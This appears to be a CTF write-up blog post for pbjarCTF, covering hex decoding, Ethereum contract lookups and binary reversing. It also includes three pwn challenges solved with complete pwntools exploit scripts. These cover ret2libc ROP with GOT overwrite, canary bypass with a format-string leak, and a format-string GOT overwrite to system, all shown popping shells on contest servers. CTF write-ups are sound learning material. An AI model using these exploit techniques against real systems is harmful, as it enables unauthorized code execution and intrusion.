In this file has the hex string. So to changing ASCII string, i use the Hex to ASCII converter and then found the flag.
flag{dis_is_a_fl4ggg_h1}
For solve this challenge, we need to understand about ROP and x64 Stack alignment issue. Target program haven't canary and compiled partial RELRO so i try to tampering GOT address.
root@e60a28c09eb6:~/pbjarCTF/ret2libc# checksec ret2libc
[*] '/root/pbjarCTF/ret2libc/ret2libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
I'm leaking puts GOT for calculate Library base address by use puts function. And save the '/bin/sh' string in bss area.
Finally, modulate the puts GOT area with the system function address. After it's end, when calling puts("/bin/sh")
, it's run system("/bin/sh")
.
I use the pop rdi; ret
gadget because of x64 calling convention.
I run exploit code but keeping failed. At that time I see the below hint from target program.
(If you think it should work and it didn't, try ropping to 'ret' gadget [pop_rdi + 1] first to align stack.)
I'm noticed the "align stack" is meaning about x64 stack alignment issue. Refer to the following article, I add the one more ret gadget before call system function for alignment.
And I success the getting shell.
root@e60a28c09eb6:~/pbjarCTF/ret2libc# ./pbjarctf_pwnable_ret2libc.py
[+] Opening connection to 143.198.127.103 on port 42001: Done
[*] '/root/pbjarCTF/ret2libc/ret2libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
/usr/local/lib/python3.7/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
./pbjarctf_pwnable_ret2libc.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
puts = u64(p.recvuntil("\x7f").ljust(8, '\x00'.encode('utf-8')))
[*] puts mapped address: 0x7f5bcd39b5f0
[*] Library Base Address: 0x7f5bcd325000
./pbjarctf_pwnable_ret2libc.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("/bin/sh\x00")
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag.txt
flag{th3_wh0l3_us3l3r4nd_1s_my_pl4ygr0und}
flag{th3_wh0l3_us3l3r4nd_1s_my_pl4ygr0und}
from pwn import *
p = remote("143.198.127.103", 42001)
e = ELF("./ret2libc")
#context.log_level = 'debug'
padding = "A"*0x28
pr = 0x000000000040155b
putsLibrary = 0x00000000000765f0
payload = padding.encode('utf-8')
payload += p64(pr)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(pr)
payload += p64(e.bss())
payload += p64(e.plt['gets'])
payload += p64(pr)
payload += p64(0x405018)
payload += p64(e.plt['gets'])
payload += p64(pr+1)
payload += p64(pr)
payload += p64(e.bss())
payload += p64(e.plt['puts'])
p.sendlineafter("[y/N]", payload)
p.recvline()
p.recvline()
p.recvline()
p.recvline()
puts = u64(p.recvuntil("\x7f").ljust(8, '\x00'.encode('utf-8')))
baseAddr = puts - putsLibrary
log.info("puts mapped address: " + hex(puts))
log.info("Library Base Address: " + hex(baseAddr))
p.sendline("/bin/sh\x00")
p.sendline(p64(baseAddr + 0x0000000000048e50 ))
p.interactive()
Join the discord!! (https://discord.gg/HcS4efUSyJ) Always read the rules before a ctf and lookout for announcements and known issues.
At first, i try to find flag in the chat log but it's failed. Then second, i'm focus on the all of text their server and find from channel description.
flag{thamks_for_joining_disc}
This program is have canary but print in runtime so we can reach the RET address. And I found fmtstr()
function it has format string bug. Also it's print flag depend on there condition.
if(num[0x3] == num[0x4]){
puts("You beat rng!\n");
FILE *f = fopen("flag.txt","r");
if(f == NULL){
puts("If you are running locally, you need to create a file called 'flag.txt' in the running progam's directory.");
puts("Otherwise, something is wrong. Please contact the author on discord.");
exit(1);
}
fgets(buf, 0x20, f);
puts("After all that program manipulation, here's the flag:");
puts(buf);
}else{
puts("You failed baka.");
}
That condition is when num[0x3]
and num[0x4]
is same. num[0x4]
has random value because of rand()
function but num[0x3]
is user input. To get num[0x4]
value, I use the format string bug and can get over the 14th offset.
root@e60a28c09eb6:~/pbjarCTF/walkthrough# ./pbjarctf_pwnable_walkthrough.py
[+] Opening connection to 147.182.172.217 on port 42001: Done
[*] '/root/pbjarCTF/walkthrough/walkthrough'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
./pbjarctf_pwnable_walkthrough.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("later): ")
/usr/local/lib/python3.7/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] value is: 1407742316
./pbjarctf_pwnable_walkthrough.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("flag:\n")
[*] flag{4nd_s0_th3_3xpl01ts_b3g1n}
[*] Closed connection to 147.182.172.217 port 42001
flag{4nd_s0_th3_3xpl01ts_b3g1n}
#!/usr/bin/python3
from pwn import *
#p = process("./walkthrough")
p = remote("147.182.172.217", 42001)
e = ELF("./walkthrough")
#context.log_level = 'debug'
padding = "A"*0x48
p.recvuntil("later): ")
canary = int(p.recvline().decode('utf-8').strip("\n"), 16)
ret = 0x0000000000401016
payload = padding.encode('utf-8')
payload += p64(canary)
payload += "BBBBBBBB".encode('utf-8')
payload += p64(ret)
payload += p64(e.symbols['fmtstr'])
p.sendlineafter("like on the stack.\n", payload)
p.sendlineafter("be passed into printf.\n", "%14$lld".encode('utf-8'))
p.recvline()
p.recvline()
value = int(p.recvline().decode('utf-8').strip("\n"))
log.info("value is: {}".format(value))
#p.interactive()
p.sendlineafter("you're guessing.\n", str(value).encode('utf-8'))
#p.interactive()
p.recvuntil("flag:\n")
log.info(p.recvline().decode('utf-8'))
#p.interactive()
This challenge is MISC part and saying enter the miner value of provided ethereum block.
Block #11834380 on the Ethereum Blockchain was mined on Febuary 11th at 9:12:59 AM UTC. What is the address of the miner who validated this block? Flag format: flag{0x0000000000000000000000000000000000000000}
I find that from this site. Watch the "Mined by" category.
flag{0xd224ca0c819e8e97ba0136b3b95ceff503b79f53}
The address of my new smart contract is 0xf0674CD7D1C0c616063a786E7d1434340E09BadD, the flag is inside it, and the code is published on Etherscan. Important: This smart contract is on Ropsten
I didn't know block chain like ehtereum so i searched ropsten on google. Google is show etherscan page to me. Search the provided the hex value and click the contract menu, there on the one contract, called "redFlag1" and click it.
This is that site. And see the contract source code. We can find flag from there.
contract readFlag1 {
string private flag = "flag{etherscan_S0urc3_c0de}";
flag{etherscan_S0urc3_c0de}
0xe2a9e67bdA26Dd48c8312ea1FE6a7C111e5D7a7A. Important: This smart contract is on Ropsten
Searching the block by use hash and click the contract.
Keeping scroll down and stop at Constructor Arguments. You can find flag there.
-----Decoded View---------------
Arg [0] : _flagVal (string): flag{s3t_by_c0nstructor}
flag{s3t_by_c0nstructor}
It's very interesting challenges because title is "web" but category is "reversing".
I downloaded this program back when the version number was still v1. It's been a long time... I heard the most recent update has the flag in it. Download: http://147.182.172.217:42100/v1
It's told need download latest version fot get flag. If run the program, download +1 version program. I think it's repaet over and over until getting latest version.
I didn't sure maximum so guessing that. When download by wget, if version is not found they return text file else has more version return application.
Guessing high from low, and Finally found latest version the v133791021.
root@e60a28c09eb6:~/pbjarCTF/web# ./v133791021
flag{h0w_l0ng_wher3_y0u_g0ne_f0r_3910512832}
flag{h0w_l0ng_wher3_y0u_g0ne_f0r_3910512832}
This program is print sooooo many text with flag{n0t_th3_fl4g_101}. Of course that's not a real flag looks like fake.
Open and decompile in ghidra and keeping scroll down when getting to real flag. Finally I found real flag.
puts(
"mr. flag{n0t_th3_fl4g_l0l} flag{n0t_th3_fl4g_l0l} i\'ll ask you what the real flag is flag{ju5t_4n0th3r_str1ng5_pr0bl3m_0159394921} think we\'d all like to know. "
);
flag{ju5t_4n0th3r_str1ng5_pr0bl3m_0159394921}
This is amazing format string bug challenges. The program is doing three time of fgets()
and printf()
. Each printf()
have format string bug. My scenario is here.
printf()
, Leak mapped library address for calculate libray base address.printf()
, Spoof printf()
GOT address to system()
address.fgets()
, Enter the "/bin/sh" in the buf.printf()
, it's called system(buf)
.I leak main()
function ret address, __libc_start_main+234
. Refer the this site
Only one chance for spoof printf()
GOT address so I used %lx
directive that means took a long time.
I'm not sure about the reason but when i run in docker container the exploit code is killd. Linux Desktop is no problem and i got flag.
persian@Code-PAPA ~/Github/Private/fmtstr main ± ./pbjarctf_pwnable_fmtstr.py
[+] Opening connection to 143.198.127.103 on port 42002: Done
[*] '/storage/learning/Github/Private/fmtstr/fmtstr'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
[*] '/storage/learning/Github/Private/fmtstr/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc base address: 0x7f6571f2a000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag.txt
flag{w1th_just_s0m3_str1ngz_1_b3c4m3_4_g0d_4t_r3d1r3ct10n}
flag{w1th_just_s0m3_str1ngz_1_b3c4m3_4_g0d_4t_r3d1r3ct10n}
#!/usr/bin/python3
from pwn import *
p = remote("143.198.127.103", 42002)
e = ELF("./fmtstr")
libc = ELF("./libc-2.31.so")
_libc_start_offset = libc.symbols['__libc_start_main'] + 234
trigger = "input:".encode('utf-8')
# Skip Tutorial
p.send("\n".encode('utf-8'))
# Leak LIBC Address
p.sendlineafter(trigger, "%25$p".encode('utf-8'))
p.recvline()
leak = int(p.recvline().decode('utf-8').strip("\n"), 16)
_libc_base = leak - _libc_start_offset
log.info("libc base address: " + hex(_libc_base))
# Spoof printf@got
_system_address = _libc_base + libc.symbols['system']
_change_value = _system_address & 0xffffffff
#pause()
payload = "%{}c%{}$n".format(_system_address & 0xffffffff , 9)
payload += "P"*(8 - (len(payload) % 8))
payload = payload.encode('utf-8') + p64(e.got['printf'])
p.sendlineafter(trigger, payload)
# Sned /bin/sh\x00
p.sendlineafter(trigger, "/bin/sh".encode('utf-8'))
p.interactive()
"""
%4$lx = buf addr
%5$lx = first string
%25$lx = main ret = _libc_start_main+234
"""